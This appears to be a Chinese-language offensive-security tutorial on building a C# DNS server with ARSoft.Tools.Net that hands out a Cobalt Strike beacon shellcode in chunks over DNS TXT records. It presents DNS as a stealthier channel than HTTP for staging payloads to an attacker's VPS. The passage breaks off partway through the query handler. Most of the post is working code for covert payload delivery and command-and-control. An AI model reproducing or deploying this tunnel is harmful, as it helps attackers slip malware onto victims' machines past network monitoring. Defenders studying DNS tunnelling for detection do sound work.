相比于http协议,dns协议有着更好的隐蔽性。类比cs的dns beacon,我们可以自己实现一个dns服务器来传输shellcode。C#拥有一个优秀的第三方库ARSoft.Tools.Net
。我们可以使用他来进行dns查询和自建dns服务器。
因为dns为递归查询,所以dns的数据最终会被我们的vps接收。而对比cs的dns传输,我们需要设计一个传输规范,规定哪部分为command,哪部分为data。
我所需要的只是一个传输隧道,而dns server只需要发送cs的bin数据包过来就可以。
设计一个流程图
新建一个.net4.0的控制台项目,安装ARSoft.Tools.Net,因为.net版本问题,我们需要安装低版本的ARSoft.Tools.Net。
实现一个dns server
using ARSoft.Tools.Net.Dns; using System; using System.IO; using System.Linq; using System.Net; namespace SharpDNS { class Program { static Byte[] bytes; static void Main(string[] args) { if (args.Length<1) { Console.WriteLine("SharpDNS.exe beacon.bin"); return; } bytes = ReadBeacon(args[0]); using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery)) { server.Start(); Console.WriteLine("Dns Server Start."); Console.ReadLine(); } } static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress, System.Net.Sockets.ProtocolType protocol) { message.IsQuery = false; DnsMessage query = message as DnsMessage; string domain = query.Questions[0].Name; // length.dns.test.local // r.500.200.dns.test.local string[] sp = domain.Split('.'); string command = sp[0]; if (command.Equals("length")) { Console.WriteLine("Contains Length"); query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString())); message.ReturnCode = ReturnCode.NoError; return message; } if (command.Equals("r")) { Console.WriteLine(domain); try { int hasReceive = int.Parse(sp[1]); int requireReceive = int.Parse(sp[2]); Console.WriteLine("hasReceive length:{0},require reveive byte length:{1}", hasReceive, requireReceive); Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();